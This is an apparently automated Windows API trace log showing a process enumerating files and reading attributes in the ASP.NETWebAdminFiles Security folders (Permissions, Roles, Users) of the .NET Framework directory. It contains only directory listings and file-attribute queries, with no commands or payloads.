	[0087.682] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\*", lpFindFileData=0x124e7788 | out: lpFindFileData=0x124e7788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ebb5160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eed4e40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="createPermission.aspx.resx", cAlternateFileName="CREATE~1.RES")) returned 1
	[0087.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa69, dwReserved0=0x0, dwReserved1=0x0, cFileName="managePermissions.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1
	[0087.682] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.682] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.682] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\createPermission.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\app_localresources\\createpermission.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x8f4)) returned 1
	[0087.682] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\App_LocalResources\\managePermissions.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\app_localresources\\managepermissions.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0xa69)) returned 1
	[0087.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\createPermission.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\createpermission.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebb5160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2b9a)) returned 1
	[0087.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Permissions\\managePermissions.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\permissions\\managepermissions.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x54a4)) returned 1
	[0087.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles"), fInfoLevelId=0x0, lpFileInformation=0x123fc698 | out: lpFileInformation=0x123fc698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.684] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.684] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\*", lpFindFileData=0x124e77ec | out: lpFindFileData=0x124e77ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1
	[0087.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1c63, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageAllRoles.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1
	[0087.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx", cAlternateFileName="MANAGE~2.ASP")) returned 1
	[0087.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.686] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.687] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x123fc7d8 | out: lpFileInformation=0x123fc7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.687] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.687] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\*", lpFindFileData=0x124e7788 | out: lpFindFileData=0x124e7788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eeaece0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eeaece0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageAllRoles.aspx.resx", cAlternateFileName="MANAGE~1.RES")) returned 1
	[0087.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageSingleRole.aspx.resx", cAlternateFileName="MANAGE~2.RES")) returned 1
	[0087.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.688] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.688] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\manageAllRoles.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\app_localresources\\manageallroles.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eeaece0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x854)) returned 1
	[0087.688] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\App_LocalResources\\manageSingleRole.aspx.resx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\app_localresources\\managesinglerole.aspx.resx"), fInfoLevelId=0x0, lpFileInformation=0x123fc918 | out: lpFileInformation=0x123fc918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7f2)) returned 1
	[0087.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageAllRoles.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\manageallroles.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eed4e40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1c63)) returned 1
	[0087.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Roles\\manageSingleRole.aspx" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\roles\\managesinglerole.aspx"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2739)) returned 1
	[0087.689] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.689] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.689] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\*", lpFindFileData=0x124e77ec | out: lpFindFileData=0x124e77ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.690] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x150e, dwReserved0=0x0, dwReserved1=0x0, cFileName="addUser.aspx", cAlternateFileName="ADDUSE~1.ASP")) returned 1
	[0087.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="App_LocalResources", cAlternateFileName="APP_LO~1")) returned 1
	[0087.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec999a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2f41, dwReserved0=0x0, dwReserved1=0x0, cFileName="editUser.aspx", cAlternateFileName="EDITUS~1.ASP")) returned 1
	[0087.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed0bdc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x20ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="findUsers.aspx", cAlternateFileName="FINDUS~1.ASP")) returned 1
	[0087.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manageUsers.aspx", cAlternateFileName="MANAGE~1.ASP")) returned 1
	[0087.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e780c | out: lpFindFileData=0x124e780c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0087.691] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0087.691] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0087.693] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\security\\users\\app_localresources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0087.693] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Security\\Users\\App_LocalResources\\*", lpFindFileData=0x124e7788 | out: lpFindFileData=0x124e7788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0087.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9eefafa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9eefafa0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0087.694] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e77a8 | out: lpFindFileData=0x124e77a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x603, dwReserved0=0x0, dwReserved1=0x0, cFileName="addUser.aspx.resx", cAlternateFileName="ADDUSE~1.RES")) returned 1
